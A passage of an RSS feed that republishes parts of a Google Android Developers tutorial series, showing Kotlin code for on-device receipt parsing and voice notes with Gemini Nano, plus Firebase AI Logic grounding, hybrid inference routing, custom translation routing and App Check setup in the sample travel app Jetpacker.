src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Cloud and hybrid inference]]></title>
<description><![CDATA[Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. ...]]></description>
<link>https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693496/android-tipps/build-intelligent-android-apps-cloud-and-hybrid-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:23 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBHTpa22SxEltoebLZYO_34iRtahN8z5tA3tnIryIii0s4_conN5qFYfmNro6nmZBfsgiZeRLtru-gE4XO2mf-RBDyIo00kf3QunWwUO-SICHkVSv0exAQQ4qA0KzjMGRpA8qj1TSMP0Ffe0FzrEc_S1zBaakKzCZFpqYLXqds9Zqmqr8yyeSgyNl9U0s/s2469/features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Meta.png"><div><i>Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations</i></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s8583/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn2fO3T2xckksQ9pk3RUNPxZqqq2CyaifXnju0lCCpbfwJ4gZyq-df0kM_mK1TMV0F9YCMo19Ba9NvFAiUpzDH6Wlk_RyonRCK5Ono25CYyQ7xGC3q70mUhyphenhyphenOOYJ-5JX2KlFP1lIA3ULIhH86_hP2ptO0AllUIf6ZVh-SqoXVWcXrM8m3hHCkhGwZYfP4/s1600/AFD%20-%20%5BABL_101%5D%20Building%20AI%20features%20in%20Jetpacker%20Features%20with%20Firebase%20AI%20Logic%20_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience. In our <a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">previous post</a> we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.</p>

<p>In this post, we will look at how you can leverage <b><a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> </b>to build cloud-hosted and hybrid AI features: </p>
<ul>
  <li>Grounding answers in real-world context</li>
  <li>Routing requests dynamically between cloud and local execution using hybrid inference</li>
  <li>Translating content with custom routing systems</li>
</ul>

<div>
  
  
</div><p><br></p><p>Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. </p>

<p>Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.</p><br><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s8000/features_upscaled.png"><img border="0" data-original-height="4744" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwlTUF1Kzkbrf2w64KO3jZJZZ_wLEu34vq6Cb7PX2alVUhFVdbkiWuXCkzUS-bPJkHMbmuNJ_Ov0HYZzujr69jCU9gPvmKaKMZt2q4-TolSDFCLABBIY1IBRY9Zn7D5S10hFcJD2kuVCm3N2glpqDJoHiqAZat4z6oyXxxwH4ZCGVBgfPObMevoJrgNPg/s1600/features_upscaled.png"></a></div><em>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and 
  support chat featuring custom-routed live translation.</em></div>

<p>Let’s look at how we implemented three cloud and hybrid features in <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker</a>:</p>
<ul>
  <li>a museum assistant with web grounding</li>
  <li>hybrid restaurant review drafting</li>
  <li>hotel support chat featuring custom-routed live translation.</li>
</ul>

<h2>Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding</h2>
<p>The <b>Museum assistant </b>is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.</p><br><div class="separator"><em><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/s4880/museum_assistant_upscaled.png"><img border="0" data-original-height="4880" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3pxeCVJfOo5G7McNB4RCIhoCUch8CHSAWI7gHijJJcE95b0gbu3lyAO1xIWc6mKllkpylSPBnVfU6RYnwfay4z6dH7TlufPuNw3Lw7s-bEuR4Ajx8IHK8k6zJcOHitqMRdDv8EVL-fCN6uuDo1QTnOgk_RW-AEM1_hZaJWbCGezMQF_D9Hia-Rm2T4-c/w314-h640/museum_assistant_upscaled.png" width="314"></a></div>Museum assistant is a chatbot that answers questions, such as </em></div><div class="separator"><em>‘How can I get a ticket discount for Le Louvre?’</em></div>

<p>When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s8000/grounding_upscaled.png"><img border="0" data-original-height="4452" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8He5M2JC5EwXZwa-M52UAXHSO4dWy4gx3aZoY2ZXM-x25pV4kc6BsICe_fG4Zn6-R37_UgTQ8LBSsrNcP50e3aQLgxNbHOfWLBqzaSqQ78ZDmNEJadZNc-I5bduHr0UtWOxYMTFAHgffxcuzaETHPe3lvfRod2rkeOUXnRaLJ_vIiAfO_xRKpESbX3L8/s1600/grounding_upscaled.png"></a></div><br><em><br>Grounding data is added to the context window to enable the model</em></div><div class="separator"><em> to answer questions correctly and accurately.</em></div>

<p>To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The <a href="https://firebase.google.com/products/firebase-ai-logic" target="_blank">Firebase AI Logic SDK</a> supports three types of grounding:</p>
<ul>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/url-context">URL grounding</a>:</strong> Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">Google Search grounding</a>:</strong> Letting the model query the real-time Google search index for up-to-date details.</li>
  <li><strong><a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Maps grounding</a>:</strong> Using Google Maps location data.</li>
</ul>

<p>In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:</p>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf&lt;Tool&gt;()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )</code></pre>

<p>When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:</p>

<pre><code>val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)
</code></pre>

<h2>Hybrid inference: On-device review generation with Maps deep link</h2>
<p>Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started?api=dev">Firebase API for Hybrid Inference</a>.</p>

<p>In Jetpacker, the <b>restaurant review</b> feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. </p><div class="separator"><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/s4680/review_upscaled.png"><img border="0" data-original-height="4680" data-original-width="2392" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVa1o2Zh3v3Babi7gGmzOFYAKPEgS0HWmvisiKgK-QsSRh_ZhjTjuUYSS_QIH0JQw9NsqrkYe4Quud6cfCGwVc61_7HKcACj6c9yywWySn5xyHGgemBR5tYPP8q3bmLadaN6uLXspE9LqrcZkVdckEGHWDhdfYVa-xo8QomDaRn03mau2fHVyK0Fr1FaU/w327-h640/review_upscaled.png" width="327"></a></div><br></div><div class="separator"><em>The restaurant review feature uses hybrid inference to draft a review based on topics</em></div><div class="separator"><em><br></em></div>

<pre><code>// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)</code></pre>

<p>The Hybrid Inference API supports four distinct routing modes:</p>
<ul>
  <li><strong>PREFER_ON_DEVICE:</strong> Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.</li>
  <li><strong>PREFER_IN_CLOUD:</strong> Prioritizes cloud execution and falls back to on-device if the device goes offline.</li>
  <li><strong>ONLY_ON_DEVICE:</strong> Restricts execution strictly to the device.</li>
  <li><strong>ONLY_IN_CLOUD:</strong> Restricts execution strictly to the cloud.</li>
</ul>

<p>Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:</p>

<pre><code>private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}</code></pre>

<h2>Custom hybrid routing: Hotel support chat translation with simulated personas</h2>
<p>The <b>hotel support chat</b> was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.</p>

<pre><code>private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )</code></pre>

<p>Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. </p><div class="separator"><em><br><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s4112/translation_upscaled.png"><img border="0" data-original-height="2364" data-original-width="4112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s1600/translation_upscaled.png"></a></div><div class="separator"><em>Hotel support chat messages are automatically translated to the user’s preferred language </em></div></em></div>

<p>While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:</p>
<ul>
  <li><strong>Language identification:</strong> Using the on-device <a href="https://developers.google.com/ml-kit/language/identification/android">ML Kit Language Identification API</a>, we can detect the incoming message language.</li>
  <li><strong>On-device translation (Gemini Nano):</strong> <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.</li>
  <li><strong>Cloud translation (Gemini 3 Flash):</strong> For more complex languages, we use Gemini Flash 3 to get a higher quality translation.</li>
</ul>

<pre><code>// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )</code></pre>

<p>When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:</p>

<pre><code>fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" &amp;&amp; sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current -&gt;
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}</code></pre>

<p>In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.</p>

<h2>Securing the AI Pipelines: Firebase App Check</h2>
<p>Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated <a href="https://firebase.google.com/docs/app-check"><b>Firebase App Check</b></a> using both Play Integrity (production) and the local Debug Provider (for local development or emulators).</p>

<p>In the <a href="https://github.com/android/ai-samples/blob/main/jetpacker/android/app/src/main/kotlin/com/example/jetpacker/JetPackerApplication.kt">JetPackerApplication.kt</a> file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:</p>

<pre><code>//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}</code></pre>

<p>When building locally on an emulator, App Check prints a local token secret to logcat:</p>

<p>Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e</p>

<p>Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.</p>

<h2>Conclusion</h2>
<p>By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.</p>

<p>Check out the <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">full source code for Jetpacker on GitHub</a>, and explore the Firebase documentation to get started:</p>
<p><a href="https://firebase.google.com/docs/ai-logic/get-started">Firebase AI Logic Documentation</a><br><a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Firebase Hybrid Inference API</a></p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p>
<p><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1</a>:</b> Introduction of the app and a high-level overview.<br><b><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">Part 2</a>: </b>On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3 (this post!):</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">Part 4:</a> </b>System integration. Integrating with the Android intelligence system using AppFunctions. <br><b>Part 5 (coming soon):</b> In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre>]]></content:encoded>
</item>
<item>
<title><![CDATA[Optimize your apps for the next generation of Samsung Galaxy devices]]></title>
<description><![CDATA[Posted by Fahd Imtiaz, Senior Product Manager and Miguel Montemayor, Developer Relations Engineer, Android Developer ExperienceToday at Galaxy Unpacked, Samsung unveiled its latest lineup of foldable and wearable devices. For developers, this means that the variety of form factors, screen sizes, ...]]></description>
<link>https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693491/android-tipps/optimize-your-apps-for-the-next-generation-of-samsung-galaxy-devices/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:16 +0200</pubDate>
<category>🤖 Android Tipps</category>
